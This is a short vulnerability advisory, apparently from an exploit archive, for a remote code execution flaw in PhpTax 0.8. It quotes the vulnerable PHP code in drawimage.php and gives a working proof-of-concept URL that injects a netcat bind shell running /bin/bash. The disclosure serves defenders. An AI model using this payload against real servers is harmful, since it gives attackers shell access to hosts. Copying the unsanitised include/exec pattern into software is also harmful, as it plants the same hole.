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PhpTax 0.8 Remote Code Execution

PhpTax 0.8 Remote Code Execution
Posted Oct 2, 2012
Authored by Jean Pascal Pereira

PhpTax version 0.8 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | d0d6e0e1685582da24a6399ab9398b69b943a0fb2d14f8839ddf5d959307e3d4

PhpTax 0.8 Remote Code Execution

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phptax 0.8 <= Remote Code Execution Vulnerability
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Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment.
The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot."

Vendor URI: http://sourceforge.net/projects/phptax/

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Risk-level: High

The application is prone to a remote code execution vulnerability.

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drawimage.php, line 63:

include ("./files/$_GET[pfilez]");

// makes a png image
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");

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Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

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Solution:

Do some input validation.

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